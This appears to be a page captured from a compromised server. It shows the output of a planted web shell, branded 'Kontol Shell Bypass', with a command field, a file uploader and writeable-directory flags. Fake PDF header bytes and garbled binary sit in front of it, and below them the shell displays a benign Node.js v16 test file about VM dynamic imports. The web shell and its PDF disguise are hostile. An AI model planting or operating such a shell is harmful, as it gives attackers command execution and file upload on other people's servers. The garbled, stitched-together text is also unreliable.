%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-vm-module-dynamic-import.js
'use strict';

// Flags: --experimental-vm-modules

const common = require('../common');

const assert = require('assert');
const { Script, SourceTextModule } = require('vm');

async function testNoCallback() {
  const m = new SourceTextModule(`
    globalThis.importResult = import("foo");
    globalThis.importResult.catch(() => {});
  `);
  await m.link(common.mustNotCall());
  await m.evaluate();
  let threw = false;
  try {
    await globalThis.importResult;
  } catch (err) {
    threw = true;
    assert.strictEqual(err.code, 'ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING');
  }
  delete globalThis.importResult;
  assert(threw);
}

async function test() {
  const foo = new SourceTextModule('export const a = 1;');
  await foo.link(common.mustNotCall());
  await foo.evaluate();

  {
    const s = new Script('import("foo")', {
      importModuleDynamically: common.mustCall((specifier, wrap) => {
        assert.strictEqual(specifier, 'foo');
        assert.strictEqual(wrap, s);
        return foo;
      }),
    });

    const result = s.runInThisContext();
    assert.strictEqual(foo.namespace, await result);
  }

  {
    const m = new SourceTextModule('globalThis.fooResult = import("foo")', {
      importModuleDynamically: common.mustCall((specifier, wrap) => {
        assert.strictEqual(specifier, 'foo');
        assert.strictEqual(wrap, m);
        return foo;
      }),
    });
    await m.link(common.mustNotCall());
    await m.evaluate();
    assert.strictEqual(foo.namespace, await globalThis.fooResult);
    delete globalThis.fooResult;
  }

  {
    const s = new Script('import("foo", { assert: { key: "value" } })', {
      importModuleDynamically: common.mustCall((specifier, wrap, assertion) => {
        assert.strictEqual(specifier, 'foo');
        assert.strictEqual(wrap, s);
        assert.deepStrictEqual(assertion, { __proto__: null, key: 'value' });
        return foo;
      }),
    });

    const result = s.runInThisContext();
    assert.strictEqual(foo.namespace, await result);
  }
}

async function testInvalid() {
  const m = new SourceTextModule('globalThis.fooResult = import("foo")', {
    importModuleDynamically: common.mustCall((specifier, wrap) => {
      return 5;
    }),
  });
  await m.link(common.mustNotCall());
  await m.evaluate();
  await globalThis.fooResult.catch(common.mustCall((e) => {
    assert.strictEqual(e.code, 'ERR_VM_MODULE_NOT_MODULE');
  }));
  delete globalThis.fooResult;

  const s = new Script('import("bar")', {
    importModuleDynamically: common.mustCall((specifier, wrap) => {
      return undefined;
    }),
  });
  let threw = false;
  try {
    await s.runInThisContext();
  } catch (e) {
    threw = true;
    assert.strictEqual(e.code, 'ERR_VM_MODULE_NOT_MODULE');
  }
  assert(threw);
}

async function testInvalidimportModuleDynamically() {
  assert.throws(
    () => new Script(
      'import("foo")',
      { importModuleDynamically: false }),
    { code: 'ERR_INVALID_ARG_TYPE' }
  );
}

(async function() {
  await testNoCallback();
  await test();
  await testInvalid();
  await testInvalidimportModuleDynamically();
}()).then(common.mustCall());

Kontol Shell Bypass